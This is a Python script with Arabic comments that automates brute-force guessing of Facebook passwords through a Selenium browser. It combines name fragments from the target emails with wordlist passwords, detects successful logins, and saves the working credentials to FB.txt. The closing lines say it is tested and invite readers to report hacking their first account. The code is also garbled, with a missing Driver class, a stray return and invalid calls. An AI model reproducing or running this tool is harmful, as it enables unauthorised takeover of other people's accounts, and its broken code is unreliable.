from selenium.webdriver.common.keys import Keys
from selenium.webdriver import Firefox, FirefoxOptions, FirefoxProfile, Chrome, ChromeOptions
from traceback import print_exc
from time import ctime, sleep
from os import listdir, getcwd, path, getlogin
from re import findall
import random
import time
return
هنا جلب صفحة الدخول للفايس بوك
def Login(self, username, password):
usrnput = self.find_element_by_name('email')
keynput = self.find_element_by_name('pass')
lognput = self.find_element_by_name('login')
usrnput.clear() ; usrnput.send_keys(username)
keynput.clear() ; keynput.send_keys(password)
print('\033[93m [ . ] Login usr = {} && key = {} \033[0m '.format(username, password), end='\r', flush=1)
lognput.click()
while 'Sending...':
sleep(1)
# Done
if findall(r'friends|id="page"', self.page_source) and not findall(r'type="password"', self.page_source):
return print('[ + ]'),
# Fail
if self.find_element_by_id('login_error').text:
return print('[ - ]')
if findall(r'href="/recover/initiate/?ars=facebook_login_pw_error&email={}"'.format(username), self.page_source):
return print('[ - ]')
هنا ادخال القيم في الفورم وتحليل ان كان صحيح او لا
def Save(self, data=''):
with open('FB.txt', 'a', encoding='utf8') as file:
file.write(data)
هنا قمنا بتسجيل المعلومات في ملف FB.txt
def pre_usrs(usr):
usr = usr.split('@')[0]
z = findall(r'[A-Za-z]+', usr)
return z[0] if z else usr
هذه الدالة تقوم باخد اسم الشخص من الاميل او اليوزرنيم يمكنك ازالتها ان لم تكن بحاجتها
def pre_keys(pswd):
global stop
lst = []
for _ in range(10):
try:
lst.append(next(pswd))
lst.strip()
except StopIteration:
stop = True
break
return lst
هنا نقوم بدمج الباسورد مع الاسم حتى تصل الى باسورد جيد
def main():
global stop
usrs = input('usrs: ')
pswd = open(input('keys: '))
data = []
stop = False
dr = Driver()
while not stop:
keys = open(pswd,"r")#pre_keys(pswd)
for usr in open(usrs):
usr = usr.strip()
if not usr or usr in data:
continue
kk = pre_usrs(usr)
for key in keys:
if not key:
continue
sleep(1)
key = kk + key
dr.Get()
if dr.Login(usr, key):
dr.Save('{};{}\n'.format(usr, key))
data.append(usr)
break
#dr.close()
#time.sleep(2)
#main()
if __name__ == '__main__':
try:
main()
except Exception as err:
print_exc()
input(':: END ::')
واخيرا حظ سعيد 😊 هذه الادات تم تجريبها وهي تعمل بشكل جيد
يمكنك التواصل معناواخبارنا ان نجحت ان تخترق اول حساب لك ام لا
لاشارة هذه الاداة تم تصميمها من طرف الاخ علي يمكنك التوصل معه عبر حسابه في مستقل https://mostaql.com/u/ali_elainous

